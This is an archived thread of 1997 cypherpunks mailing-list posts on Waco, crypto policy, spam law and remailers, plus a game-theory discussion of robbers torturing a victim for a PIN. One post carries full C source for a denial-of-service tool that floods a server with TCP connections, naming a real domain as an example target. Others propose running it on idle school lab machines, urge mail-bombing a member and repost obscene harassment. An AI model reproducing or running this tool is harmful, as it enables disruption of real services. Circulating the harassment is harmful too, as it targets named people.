If they _had_ checked, they'd have found that one of the
residents was a licensed firearm dealer, and could have checked 
his records, which he's legally required to keep and present.
No need to storm somebody's house just because you're worried that
they might flush a couple of pieces of metal down the toilet
when they see you coming - it's not like it's DOPE or something.

Also, if he'd wanted to arrest Koresh, he could have done it in town,
or when the guy was out jogging, which was daily.

>And in any case the point is that Waco does not absolve McVeigh and
>the militias for the blame for Oaklahoma.

The militias??  Phill, the only militia that McVeigh was part of was
the US Army.  Sure, they're one of the world's leading terrorist 
organizations, and they probably should have noticed that he was a wacko 
and kicked him out, like the Michigan Militia had the sense to do, 
rather than training him to be a gung-ho killer, but sometimes you
don't realize what somebody's like or what Army training will do to them.
And besides, I've had friends who were Army recruiters, and when you've
got a quota to make, you'll take anybody who can write "X" and
knows how to make a fist.

As far as blame for Waco goes, Janet Reno has said it's all hers.
[NOW FOR A FLAME] 
Janet Reno, who started the wave of minority church burnings in the South,
just had the GALL to make a speech talking about all the good things 
she's been doing to stop that sort of thing.  Not about how she's
personally responsible and has been trying to rehabilitate herself,
but about how other people are evil and need to be stopped.
<expletive deleted>!  Hypocrite.  I don't know if 1-888-ATF-FIRE
is still running, but y'all are free to call up and rat on her.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 10:53:48 +0800
To: cypherpunks@toad.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706070108.UAA26269@manifold.algebra.com>
Message-ID: <24mw8D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:
> > my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
> > to make a Windows 95 binary.
> > Somehow I think the people most likely to use this would be running W95 and
> > have no C compiler, rather than running a flavor of Unix/Linux.
>
> I personally experience very unpleasant emotions whenever I have to do
> anything with Win 95.

Without getting into OS wars, let me just point out that I'm writing this
on an OS/2 box. :-)

>                       Perhaps someone else could do it. Also, it is
> _possible_ that this program will not work too well on Win 95 because
> it would block other applications. (I am not sure about this)

It might make the box not very usable for other stuff.

I'm thinking of a situation where someone has access to a room full of
W95 boxes (e.g. a computer lab at school) left idle for extended time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 7 Jun 1997 09:40:17 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: Arguments for good crypto and against GAK.
In-Reply-To: <199706062346.QAA29864@comsec.com>
Message-ID: <3.0.1.32.19970606212924.0096a700@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:00 PM 6/5/97 -6, Peter Trei wrote:
>In short, it's possible to pro-crypto, anti-GAK 
>without ever getting near sounding  anti-government; 
>in fact, being pro-crypto, anti-GAK can be a 
>conservative, anti-crime, law & order position.

Yup.

Let me add one more I just posted to the cryptography list.

When you have non-GAK strong crypto for criminals to use, they (like the 
rest of us) will be seduced into believing that they have privacy and will 
loosen their tongues.  As a result, more and better intelligence will be 
available over that communications channel.  For the proportion of cases 
where the person on the other side is an agent or someone turned by threat 
of prosecution, this intelligence falls into the hands of law enforcement.  
Even better, this person who is reporting to LE is remote from the real 
criminal(s), so he is in substantially less danger of being frisked to 
discover a wire.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 11:22:10 +0800
To: devnull@manifold.algebra.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <24mw8D30w165w@bwalk.dm.com>
Message-ID: <199706070305.WAA27233@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> >                       Perhaps someone else could do it. Also, it is
> > _possible_ that this program will not work too well on Win 95 because
> > it would block other applications. (I am not sure about this)
> 
> It might make the box not very usable for other stuff.
> 
> I'm thinking of a situation where someone has access to a room full of
> W95 boxes (e.g. a computer lab at school) left idle for extended time.

... or a number of people who have access to idle computers and do not
like a particular very annoying domain.

The program was designed specifically to be left running forever (in the
grind mode with #connections != 0). It should not put a too big strain on
the attacking host (except for the Net connection), at least if it runs 
under linux.

By the way, I just made a couple of minor changes (in the way it grinds)
and here's the new version.

/***************************************************************************/
/*                                                                         */
/*                \=/,         _-===-_-====-_-===-_-==========-_-====-_    */
/*                |  @___oo   (          Denial Of Service             )_  */
/*      /\  /\   / (___,,,}_--=    Opens Many Dangling TCP Connections   ) */
/*     ) /^\) ^\/ _)        =__        to swamp TCP servers of your     )  */
/*     )   /^\/   _)          (_              enemies.                  )  */
/*     )   _ /  / _)            (                                        ) */
/* /\  )/\/ ||  | )_)            (_        Educational Use Only!        )  */
/*<  >      |(,,) )__)             (  Ignoramus_Chewed-Off@algebra.com   ) */
/* ||      /    \)___)\             (_            1997                 __) */
/* | \____(      )___) )___           -==-_____-=====-_____-=====-___==    */
/*  \______(_______;;; __;;;                                               */
/*                                                                         */
/***************************************************************************/



const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
              sleep( 1 );
            }
        }
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 13:27:15 +0800
To: cypherpunks@cyberpass.net
Subject: Steak Knife Decryption
Message-ID: <199706070521.WAA11195@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



An interesting twist on rubber hose decryption in the case of the
murder of Jonathan Levin, son of the top executive of media
giant Time Warner.

Police believe his ATM card was stolen, and he was then jabbed
with a steak knife until he revealed the PIN.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 7 Jun 1997 10:53:20 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <P4gw8D26w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970606223724.14349A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



So we do agree after all!

-Declan

(Who thinks that no consensual speech should be banned by the government.
I can, however, see a common law argument for spam as trespass after
repeated cease-and-desist notes are sent.)

On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@pathfinder.com> writes:
> > I suspect we agree on spam.)
> 
> I kind of doubt it.
> 
> Do you believe, as I do, that "spam" deserves the protection as any other kind
> of speech, and that so libel, child pornography, and bolb-making instructions?
> 
> I didn't think so. :-)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 7 Jun 1997 11:11:27 +0800
To: cypherpunks@toad.com
Subject: Re: NYT on German Net Police
Message-ID: <199706070259.WAA29012@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> Robert Hettinga wrote:
> >> Recall a previous report that Kohl and other heads of state are
> >> to meet in Denver on June 20-22 to plan a global attack
> >> on "cyber-terrorism," including the spread of encryption:
> >>
> >>    http://jya.com/denver.htm
> >
> >Wow. What an opportunity for street theater *that* might be...
> 
> Excellent suggestion, Agent Provocateur (AP) Bob.
> 
> Now, what would be the cyber-version of street theater?

  Meet incoming International airline flights and hand out free 
copies of strong crypto (electronic and/or text) to incoming
foreigners.
  Carry passports with Public Key footprint as identifier.
  
> For examp, the security arrangements for the trial will be broadened,
> and artfully leaked to the Denver-ensconced and equipped media, to
> promote and protect the priceless Derrieres of State.
> 
> But what might cyber-terribles do to work-a-round the highly
> classified meat protections?

  Provide delegates with bogus/forged information regarding
meeting, times, security proceedures, etc.
  
> Denver's Judge Downes sent a missive in plaintext to IRS, a
> spit in the bucket another Bob said. What about a bigger oyster
> hawk at the lens and mikes of the leaders of the free worlds?

  Forged conference media handouts with quotes from Hitler,
Stalin and Mussolini.
 
FalseMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 12:38:23 +0800
To: devnull@manifold.algebra.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <BFTw8D32w165w@bwalk.dm.com>
Message-ID: <199706070424.XAA27671@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> Declan McCullagh <declan@pathfinder.com> writes:
> 
> > -Declan
> >
> > (Who thinks that no consensual speech should be banned by the government.
> 
> If you set up your mailbox to accept e-mail promiscuously from anyone,
> then anything sent to it is "consentual".
> 
> > I can, however, see a common law argument for spam as trespass after
> > repeated cease-and-desist notes are sent.)
> 
> The onus is on the recipient to filter out what they don't want (or to
> "filter in" only what they want, which is how I think we'll end up). Such
> filtering takes less time+effort than "repeated cease-and-desist notes".

Is there any justification for a law that would require senders to make
filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 7 Jun 1997 13:42:36 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [URGENT] Sphere packings
In-Reply-To: <199706061806.UAA27392@basement.replay.com>
Message-ID: <Pine.A41.3.95.970606232644.107514A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 6 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[unt] May's 16Kb brain's single 
> convolution is directly wired to his rectum 
> for input and his T1 mouth for output. That's 
> 16K bits, not bytes. Anal intercourse has 
> caused extensive brain damage.
> 
>  ///////
>  \-oo-/  Tim C[unt] May
>   \--/
>    \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 7 Jun 1997 13:38:06 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199706061822.LAA23129@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970606232726.107514B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Fri, 6 Jun 1997, Mix wrote:

> Now is the time for all good little boys to cum in Tim C. May's big mouth.
> 
>             >\\\|/<
>             |_    ;
>             (O) (o)
>         -OOO--(_)--OOOo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 12:01:30 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970606223724.14349A-100000@cp.pathfinder.com>
Message-ID: <BFTw8D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> -Declan
>
> (Who thinks that no consensual speech should be banned by the government.

If you set up your mailbox to accept e-mail promiscuously from anyone,
then anything sent to it is "consentual".

> I can, however, see a common law argument for spam as trespass after
> repeated cease-and-desist notes are sent.)

The onus is on the recipient to filter out what they don't want (or to
"filter in" only what they want, which is how I think we'll end up). Such
filtering takes less time+effort than "repeated cease-and-desist notes".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 14:56:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <199706070650.XAA22108@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:

 > Mike Duvos wrote:

 >> An interesting twist on rubber hose decryption in the case
 >> of the murder of Jonathan Levin, son of the top executive of
 >> media giant Time Warner.

 >> Police believe his ATM card was stolen, and he was then
 >> jabbed with a steak knife until he revealed the PIN.

 > This brings up a question. Did these robbers kill him right
 > after they found out the answer, or they first tried to
 > withdraw money to check if his number was right?

 > This brings up a question on the strategy in this game.

 > Suppose I am captured by ruthless robbers. They ask me for a
 > number and torture me. They will torture me as long as
 > necessary until I give out the correct number, and then
 > they kill me.

 > Assuming that I am rational and prefer torture to death, I
 > should not tell them the right number and delay the
 > process, with the hope that possibly the police will come
 > and rescue me.

 > Assuming that robbers are rational and know that I am
 > rational, they certainly should not put me in such
 > position: if they do, they are going to waste a lot of
 > precious time and have no chance of getting the money.

 > So, they should promise me that they would not kill me.

 > But how would I believe them? A rational robber should kill
 > the victim after she gets the money.

 > I am not quite clear if rational people can get something
 > out of torturing other rational people. Maybe, I am
 > confused and wrong somewhere.

 > Maybe, if the robber can convince the victim that she
 > (robber) is irrational and would hold on to her promise not
 > to kill him, she could get the money. But how to do that?

This is a kind of a Prisoner's Dilemma type game-theoretic
problem. Each side desires to maximize their mathematical
expectation, which is the sum of their expected return for each
possible behavior of their opponent times the probability that
behavior will occur.  One may assume that one has an intelligent
opponent who can also analyze the game.

The robbers can either promise to let their victim live after the
PIN has been extracted, or not.  Once torture has produced a PIN,
and it has been tested in the ATM, they can either kill their
victim or not kill him.

The victim can either give the PIN before major damage is done,
or he can hold out until he either dies or rescue arrives.

For the robbers, the money is a small return, and getting charged
with murder should the police arrive right after the victim has
been terminated is a big loss.  Letting the victim live to
identify the robbers is a medium sized loss, but killing the
victim and getting away with it is no loss at all. For the
victim, the loss of some money is a small loss, and the loss of
ones life is a big loss.

Now the only return for the robbers is the money, so anything
that doesn't result in the money is worse than not committing the
crime in the first place.  There is no incentive for the robbers
to say that they will kill you and not do it, so we can assume
the robbers will not lie about this.  A rational victim will
postphone death as long as possible, so it is always in the best
interests of the robbers to say that they will not kill the
victim.

This crime takes a very short amount of time to commit, so rescue
is unlikely.  Torture which results in either the PIN or mortal
injury can be carried out in under a minute.  If the PIN is not
disclosed, death will therefore result.  If the pin is disclosed,
you have a chance of living equal to the chance the robbers will
not kill you.

So the optimum strategy if both players have analyzed the game is
for the robbers to promise not to kill you, the victim to always
immediately give up the PIN, and then for the robbers to either
kill or not kill the victim, based on the relative penalty times
the chance of getting caught for each alternative.

There is nothing the victim can do to improve his chances, except
to hope he lives in a community where the penalty for robbery is
small compared to the penalty for murder, and that a
disproportionate amount of law enforcement resources are devoted
to solving murders, versus solving robberies.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 13:51:32 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <199706070544.AAA00172@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Mike Duvos wrote:
> 
> 
> An interesting twist on rubber hose decryption in the case of the
> murder of Jonathan Levin, son of the top executive of media
> giant Time Warner.
> 
> Police believe his ATM card was stolen, and he was then jabbed
> with a steak knife until he revealed the PIN.

This brings up a question. Did these robbers kill him right after
they found out the answer, or they first tried to withdraw money
to check if his number was right?

This brings up a question on the strategy in this game.

Suppose I am captured by ruthless robbers. They ask me for a
number and torture me. They will torture me as long as necessary
until I give out the correct number, and then they kill me.

Assuming that I am rational and prefer torture to death, I should
not tell them the right number and delay the process, with the hope
that possibly the police will come and rescue me.

Assuming that robbers are rational and know that I am rational,
they certainly should not put me in such position: if they do,
they are going to waste a lot of precious time and have no chance of
getting the money.

So, they should promise me that they would not kill me.

But how would I believe them? A rational robber should kill the
victim after she gets the money.

I am not quite clear if rational people can get something out of
torturing other rational people. Maybe, I am confused and wrong
somewhere.

Maybe, if the robber can convince the victim that she (robber) is
irrational and would hold on to her promise not to kill him, she could
get the money. But how to do that?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 15:14:54 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070650.XAA22108@netcom19.netcom.com>
Message-ID: <199706070705.CAA00810@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Mike,

Thanks for an interesting reply.

What if, for example, the prisoner convinced the robbers that he
was irrational and would swear to God that he would never give up
his PIN. Assume that he made a very credible promise, ie, the victim
is a known nut. Assume also that the victim is also able to convince
the robbers that he would not tell anything to the police.

The robbers would then face a choice: whether to kill the victim
and face murder charges with punishment M and probability Pm, or
not to kill the victim and face charges R (for Robbery) with 
probability Pr. Since the victim is not going to tell anybody,
Pr is zero. So they now choose not to kill the victim.

How can this victim make a credible promise not to tell the
police?

I think that Jim Bell's assassination bot would solve this problem.
The victim would pledge $1,000,000 to the bot, with the instruction
to give it to the robbers if they are ever arrested within the statute
of limitations. After the statute expires, Jim Bell's bot would return 
the money back to the victim.

The AP bot could generally be a great tool for creating various
credible threats.

igor

Mike Duvos wrote:
> 
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
>  > Mike Duvos wrote:
> 
>  >> An interesting twist on rubber hose decryption in the case
>  >> of the murder of Jonathan Levin, son of the top executive of
>  >> media giant Time Warner.
> 
>  >> Police believe his ATM card was stolen, and he was then
>  >> jabbed with a steak knife until he revealed the PIN.
> 
>  > This brings up a question. Did these robbers kill him right
>  > after they found out the answer, or they first tried to
>  > withdraw money to check if his number was right?
> 
>  > This brings up a question on the strategy in this game.
> 
>  > Suppose I am captured by ruthless robbers. They ask me for a
>  > number and torture me. They will torture me as long as
>  > necessary until I give out the correct number, and then
>  > they kill me.
> 
>  > Assuming that I am rational and prefer torture to death, I
>  > should not tell them the right number and delay the
>  > process, with the hope that possibly the police will come
>  > and rescue me.
> 
>  > Assuming that robbers are rational and know that I am
>  > rational, they certainly should not put me in such
>  > position: if they do, they are going to waste a lot of
>  > precious time and have no chance of getting the money.
> 
>  > So, they should promise me that they would not kill me.
> 
>  > But how would I believe them? A rational robber should kill
>  > the victim after she gets the money.
> 
>  > I am not quite clear if rational people can get something
>  > out of torturing other rational people. Maybe, I am
>  > confused and wrong somewhere.
> 
>  > Maybe, if the robber can convince the victim that she
>  > (robber) is irrational and would hold on to her promise not
>  > to kill him, she could get the money. But how to do that?
> 
> This is a kind of a Prisoner's Dilemma type game-theoretic
> problem. Each side desires to maximize their mathematical
> expectation, which is the sum of their expected return for each
> possible behavior of their opponent times the probability that
> behavior will occur.  One may assume that one has an intelligent
> opponent who can also analyze the game.
> 
> The robbers can either promise to let their victim live after the
> PIN has been extracted, or not.  Once torture has produced a PIN,
> and it has been tested in the ATM, they can either kill their
> victim or not kill him.
> 
> The victim can either give the PIN before major damage is done,
> or he can hold out until he either dies or rescue arrives.
> 
> For the robbers, the money is a small return, and getting charged
> with murder should the police arrive right after the victim has
> been terminated is a big loss.  Letting the victim live to
> identify the robbers is a medium sized loss, but killing the
> victim and getting away with it is no loss at all. For the
> victim, the loss of some money is a small loss, and the loss of
> ones life is a big loss.
> 
> Now the only return for the robbers is the money, so anything
> that doesn't result in the money is worse than not committing the
> crime in the first place.  There is no incentive for the robbers
> to say that they will kill you and not do it, so we can assume
> the robbers will not lie about this.  A rational victim will
> postphone death as long as possible, so it is always in the best
> interests of the robbers to say that they will not kill the
> victim.
> 
> This crime takes a very short amount of time to commit, so rescue
> is unlikely.  Torture which results in either the PIN or mortal
> injury can be carried out in under a minute.  If the PIN is not
> disclosed, death will therefore result.  If the pin is disclosed,
> you have a chance of living equal to the chance the robbers will
> not kill you.
> 
> So the optimum strategy if both players have analyzed the game is
> for the robbers to promise not to kill you, the victim to always
> immediately give up the PIN, and then for the robbers to either
> kill or not kill the victim, based on the relative penalty times
> the chance of getting caught for each alternative.
> 
> There is nothing the victim can do to improve his chances, except
> to hope he lives in a community where the penalty for robbery is
> small compared to the penalty for murder, and that a
> disproportionate amount of law enforcement resources are devoted
> to solving murders, versus solving robberies.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd@netcom.com     $    via Finger.                      $
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 7 Jun 1997 09:47:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070117.UAA26367@manifold.algebra.com>
Message-ID: <199706070142.DAA29774@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> Another danger of  using remailers without encryption is that it is very
> easy to compromise one's identity due to little mistakes and malformed
> messages.

Yup, apparently relay.com and reply.com have gotten quite a bit of
remailer@replay.com's mail.  In fact, relay.com has complained about this
several times.  (Obviously they were reading the misdirected mail.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 21:39:58 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706070424.XAA27671@manifold.algebra.com>
Message-ID: <0kFX8D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Declan McCullagh <declan@pathfinder.com> writes:
> >
> > > -Declan
> > >
> > > (Who thinks that no consensual speech should be banned by the government.
> >
> > If you set up your mailbox to accept e-mail promiscuously from anyone,
> > then anything sent to it is "consentual".
> >
> > > I can, however, see a common law argument for spam as trespass after
> > > repeated cease-and-desist notes are sent.)
> >
> > The onus is on the recipient to filter out what they don't want (or to
> > "filter in" only what they want, which is how I think we'll end up). Such
> > filtering takes less time+effort than "repeated cease-and-desist notes".
>
> Is there any justification for a law that would require senders to make
> filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

And if the recipient gets UCE without such tags, he can sue, right?

As it is, there are a few dozen mentally disturbed folks who bombard
postmasters everywhere with false reports of "spamming" and "warez".

Now they'll complain about UCE without tags (w/o basis in reality)
and threaten to sue.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 7 Jun 1997 21:01:15 +0800
To: cypherpunks@toad.com
